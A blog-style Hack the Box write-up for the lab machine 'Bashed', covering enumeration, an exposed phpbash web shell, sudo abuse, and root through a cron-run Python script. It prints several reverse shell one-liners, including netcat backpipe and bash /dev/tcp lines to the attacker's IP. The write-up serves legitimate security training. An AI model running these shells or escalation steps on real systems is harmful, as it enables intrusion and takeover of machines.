Hack the Box - Bashed
Bashed is a pretty easy box. It sets you up for an easy win and gives you a really cool tool I've used quite a few times for gaining web shells, like the one I used in Networked. It's called phpbash, and you can get it here.
With that said, let's get to popping this sucker. Shall we?
Nmap results
Nmap, of course to start things off. When doing my Nmap scans, I like to start with a basic scan (which is the default Nmap 1000 TCP ports). Then I investigate what I find as I run a second scan that covers the full port range -p-
.
When that is done, I start running Nmap's safe scripts against all the open ports I find. The whole time that scans are running, I like to manually poke around at the box and see if there's anything I can find.
Here's how my Nmap scans ran:
@KakaLinpoop:~/Documents/htb/boxes/bashed/nmap$ nmap -T4 10.10.10.68 -oN basicScan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-09 19:11 CDT
Nmap scan report for 10.10.10.68
Host is up (0.14s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds
@KakaLinpoop:~/Documents/htb/boxes/bashed/nmap$ nmap -T4 -p- 10.10.10.68 -oN allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-09 19:11 CDT
Stats: 0:02:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 37.09% done; ETC: 19:18 (0:04:03 remaining)
Stats: 0:06:09 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 99.99% done; ETC: 19:18 (0:00:00 remaining)
Nmap scan report for 10.10.10.68
Host is up (0.14s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 369.47 seconds
@KakaLinpoop:~/Documents/htb/boxes/bashed/nmap$ nmap -T4 -p 80 -sV -sC 10.10.10.68 -oN scriptScan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-09 19:18 CDT
Nmap scan report for 10.10.10.68
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds
We can see that I initially ran a basic scan. Then I ran a full range of all TCP ports. After that, I ran a script+version scan against the open ports.
Again, while all of this is happening, I poke around the box and see what I can find.
Port 80 - HTTP
It's a simple site that reads phpbash. Clicking on that takes us to a link showing us a tool called phpbash along with another link to a GitHub page:
Interesting.
I always check common directories like /robots.txt, /admin and /login or /login.php. There's nothing in those directories, so let's bust out GoBuster.
GoBuster
Let's GoBust this mofo. I usually start with the common list:
@KakaLinpoop:~/Documents/htb/boxes/bashed/gobuster$ gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirb/common.txt -o commonWords
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.68
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/07/09 19:29:40 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/dev (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/php (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2020/07/09 19:31:09 Finished
===============================================================
We will manually go through the directories to see what's there. The one that stands out as particularly interesting is /dev. In there, we will see two files: phpbash.min.php and phpbash.php.
Clicking on one of these takes us to a browser-based terminal emulator. Essentially, a php webshell:
We can see that we are the user www-data. This is a low-priv user that belongs to the web application. interestingly, we can read user arrexel's files, which allows us to read user.txt in /home/arrexel.
Some of the first commands I always run when I get a shell are id
and sudo -l
id
- lets me see what user I am and what groups I am in.
sudo -l
- shows me what commands I can run with sudo, and which of those I can run without a password.
Let's see what that does.
We get the following:
www-data@bashed
:/home/arrexel# sudo scriptmanager
sudo: no tty present and no askpass program specified
Oh well. Let's catch a shell:
Finding a shell
We have Netcat, but no -e option. Easy fix!
Netcat without -e
Attacker: nc -nvlp 443
Victim: mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc attacker 443 1>/tmp/backpipe
source: https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/
Source: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
Now we have a reverse shell and we can set up a real terminal environment.
From our terminal where we just caught the reverse shell, run the following:
python -c 'import pty; pty.spawn("/bin/bash")'
After that, you can do this:
- Hit ctrl+z to put your current netcat session in the background.
- Type
stty raw -echo
- Type
fg
and enter to bring your process back into the foreground. - Now I have a shell with tab complete.
Sweet! Now we have a better shell and we should be able to see what scriptmanager is. Enumerating further shows us that it's a user:
www-data@bashed:/srv$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash
Interesting. Scriptmanager doesn't seem to be a command. It's a user. Perhaps this means we can run a command a a user:
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Some searching takes me to the following: https://www.oreilly.com/library/view/linux-security-cookbook/0596003919/ch05s03.html
If sudo says I can run a command as a user. Let's give it a try:
www-data@bashed:/srv$ sudo -u scriptmanager whoami
scriptmanager
This means I can run any command as that user.
Eventually, through more searching, I find a Python script in the root directory called /scripts:
www-data@bashed:/home/scriptmanager$ sudo -u scriptmanager ls /scripts
test.py test.txt
Because I'm a lazy bugger and don't want to type sudo -u scriptmanager all the time, I create a quick alias:
www-data@bashed:/$ alias bruh="sudo -u scriptmanager"
Now when I type bruh followed by a command, I automatically run it as scriptmanager:
www-data@bashed:/$ bruh whoami
scriptmanager
The two files in /scripts
First, let's take a look at test.txt:
www-data@bashed:/$ bruh cat scripts/test.txt
testing 123!
Cool.
Now test.py:
www-data@bashed:/$ bruh cat scripts/test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
Checking out ownership of those files:
www-data@bashed:/$ bruh ls -larth scripts/
total 16K
drwxr-xr-x 23 root root 4.0K Dec 4 2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
drwxrwxr-- 2 scriptmanager scriptmanager 4.0K Dec 4 2017 .
-rw-r--r-- 1 root root 12 Jul 9 18:40 test.txt
Interesting. The file this script creates belongs to root.
Modify the Python script:
www-data@bashed:/$ bruh cat /scripts/test.py
import os
f = open("test.txt", "w")
f.write("testing 123!")
f.close
os.system("whoami > wanker.txt")
Viewing the output:
www-data@bashed:/$ bruh ls -l /scripts/
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 103 Jul 9 18:48 test.py
-rw-r--r-- 1 root root 12 Jul 9 19:52 test.txt
-rw-r--r-- 1 root root 5 Jul 9 19:52 wanker.txt
www-data@bashed:/$ bruh cat /scripts/wanker.txt
root
Getting Root
If the above file output is anything to go by, we should be able to create a reverse shell with python and set up a listener on our Kali box. Let's dooo eeeet!
The easiest way is probably just a bash reverse shell using the os module in python:
import os
f = open("test.txt", "w")
f.write("testing 123!")
f.close
os.system("whoami > wanker.txt")
os.system("bash -i >& /dev/tcp/10.10.14.34/31337 0>&1")
I'm a bit lazy, but I can see that the script seems to run every minute on the minute without much investigation. I can see this because the file creation time for test.txt and wanker.txt updates each minute:
www-data@bashed:/$ bruh ls -l /scripts/
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 159 Jul 9 20:02 test.py
-rw-r--r-- 1 root root 12 Jul 9 20:07 test.txt
-rw-r--r-- 1 root root 5 Jul 9 20:07 wanker.txt
www-data@bashed:/$ bruh ls -l /scripts/
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 159 Jul 9 20:02 test.py
-rw-r--r-- 1 root root 12 Jul 9 20:08 test.txt
-rw-r--r-- 1 root root 5 Jul 9 20:08 wanker.txt
There are other ways to validate that, but this just happened by chance as I was looking at those files. The file creation time made me realize that the script is running every minute.
That said, my update to the script didn't seem to give me a shell.
We will resort to my favorite technique:
import os
f = open("test.txt", "w")
f.write("testing 123!")
f.close
os.system("whoami > wanker.txt")
os.system("mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.34 31337 1>/tmp/backpipe")
The backpipe trick!
Boom! We got a root shell!
@KakaLinpoop:~/Documents$ nleet
listening on [any] 31337 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.68] 51116
whoami
root
Upgrading the shell
We've done this a few times before. Here it goes. From the terminal window I just caught the shell on:
python -c 'import pty; pty.spawn("/bin/bash")'
Then:
- Hit ctrl+z to put your current netcat session in the background.
- Type
stty raw -echo
- Type
fg
and enter to bring your process back into the foreground.
root@bashed:~# whoami
root
Final thoughts
That box wasn't so hard. It did introduce us to a cool tool, which I think was the creator's intent. I added it to my list of tools and use it anytime I can drop a php webshell on a box.